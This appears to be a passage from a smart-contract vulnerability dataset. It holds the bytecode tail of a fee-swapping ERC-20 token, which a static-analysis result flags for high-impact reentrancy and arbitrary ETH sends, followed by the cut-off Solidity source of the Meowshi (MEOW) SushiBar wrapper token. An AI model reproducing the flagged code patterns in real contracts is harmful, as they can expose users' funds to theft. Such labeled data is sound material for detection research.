ffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d41594500000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072b64afe9d80c5857bde7c9ede3eb0dca3819f8b2328c46a978c1668461b405a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,955
0x95a48cda5be8edc0c1129b2c63f81b6d7c517927
// SPDX-License-Identifier: UNLICENSED // @title Meowshi (MEOW) 🐈 🍣 🍱 // @author Gatoshi Nyakamoto pragma solidity 0.8.4; /// @notice Interface for depositing into & withdrawing from BentoBox vault. interface IERC20{} interface IBentoBoxBasic { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into & withdrawing from SushiBar. interface ISushiBar { function balanceOf(address account) external view returns (uint256); function enter(uint256 amount) external; function leave(uint256 share) external; function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields. // ៱˳_˳៱ ∫ contract Meowshi { IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet) ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet) address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet) string constant public name = "Meowshi"; string constant public symbol = "MEOW"; uint8 constant public decimals = 18; uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW uint256 public totalSupply; /// @notice owner -> spender -> allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner -> balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner -> nonce mapping used in {permit}. mapping(address => uint256) public nonces; /// @notice A record of each account's delegate. mapping(address => address) public delegates; /// @notice A record of voting checkpoints for each account, by index. mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account. mapping(address => uint256) public numCheckpoints; /// @notice The ERC-712 typehash for this contract's domain. bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The ERC-712 typehash for the delegation struct used by the contract. bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The ERC-712 typehash for the {permit} struct used by the contract. bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice Events that are emitted when an ERC-20 approval or transfer occurs. event Approval(address indexed owner, address indexed spender, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice An event that's emitted when an account changes its delegate. event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event that's emitted when a delegate account's vote balance changes. event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /// @notice A checkpoint for marking number of votes from a given block. struct Checkpoint { uint256 fromBlock; uint256 votes; } constructor() { sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract } /// @notice This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize check. function balanceOfOptimized(address token) private view returns (uint256) { (bool success, bytes memory data) = token.staticcall(abi.encodeWithSelector(ISushiBar.balanceOf.selector, address(this))); require(success && data.length >= 32); return abi.decode(data, (uint256)); } /// @notice Enables calling multiple methods in a single call to this contract. function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); unchecked {for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { if (result.length < 68) revert(); assembly {result := add(result, 0x04)} revert(abi.decode(result, (string))); } results[i] = result;}} } /************* MEOW FUNCTIONS *************/ // **** xSUSHI /// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`. function meow(address to, uint256 amount) external returns (uint256 shares) { ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim (, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0); meowMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`. function unmeow(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);} } // **** SUSHI /// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`. function meowSushi(address to, uint256 amount) external returns (uint256 shares) { sushiToken.transferFrom(msg.sender, address(this), amount); ISushiBar(sushiBar).enter(amount); (, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), balanceOfOptimized(sushiBar), 0); meowMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`. function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);} ISushiBar(sushiBar).leave(amountOut); sushiToken.transfer(to, balanceOfOptimized(address(sushiToken))); } // **** SUPPLY MGMT /// @notice Internal mint function for *meow*. function meowMint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; _moveDelegates(address(0), delegates[to], amount); emit Transfer(address(0), to, amount); } /// @notice Internal burn function for *unmeow*. function meowBurn(uint256 amount) private { balanceOf[msg.sender] -= amount; unchecked {totalSupply -= amount;} _moveDelegates(delegates[msg.sender], address(0), amount); emit Transfer(msg.sender, address(0), amount); } /************** TOKEN FUNCTIONS **************/ /// @notice Approves `amount` from msg.sender to be spent by `spender`. /// @param spender Address of the party that can draw tokens from msg.sender's account. /// @param amount The maximum collective `amount` that `spender` can draw. /// @return (bool) Returns 'true' if succeeded. function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @notice Triggers an approval from owner to spends. /// @param owner The address to approve from. /// @param spender The address to be approved. /// @param amount The number of tokens that are approved (2^256-1 means infinite). /// @param deadline The time at which to expire the signature. /// @param v The recovery byte of the signature. /// @param r Half of the ECDSA signature pair. /// @param s Half of the ECDSA signature pair. function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Meowshi::permit: invalid signature'); require(signatory == owner, 'Meowshi::permit: unauthorized');} require(block.timestamp <= deadline, 'Meowshi::permit: signature expired'); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transfer(address to, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; unchecked {balanceOf[to] += amount;} _moveDelegates(delegates[msg.sender], delegates[to], amount); emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`. /// @param from Address to draw tokens `from`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns 'true' if succeeded. function transferFrom(address from, address to, uint256 amount) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;} balanceOf[from] -= amount; unchecked {balanceOf[to] += amount;} _moveDelegates(delegates[from], delegates[to], amount); emit Transfer(from, to, amount); return true; } /******************* DELEGATION FUNCTIONS *******************/ /// @notice Delegate votes from `msg.sender` to `delegatee`. /// @param delegatee The address to delegate votes to. function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /// @notice Delegates votes from signatory to `delegatee`. /// @param delegatee The address to delegate votes to. /// @param nonce The contract state required to match the signature. /// @param expiry The time at which to expire the signature. /// @param v The recovery byte of the signature. /// @param r Half of the ECDSA signature pair. /// @param s Half of the ECDSA signature pair. function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature'); unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');} require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } function _delegate(address delegator, address delegatee) private { address currentDelegate = delegates[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, balanceOf[delegator]); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) private { if (srcRep != dstRep && amount != 0) { unchecked {if (srcRep != address(0)) { uint256 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint256 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); }} } } function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) private { unchecked {if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == block.number) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(block.number, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1;}} emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /*************** GETTER FUNCTIONS ***************/ /// @notice Get current chain. function getChainId() private view returns (uint256) { uint256 chainId; assembly {chainId := chainid()} return chainId; } /// @notice Gets the current votes balance for `account`. /// @param account The address to get votes 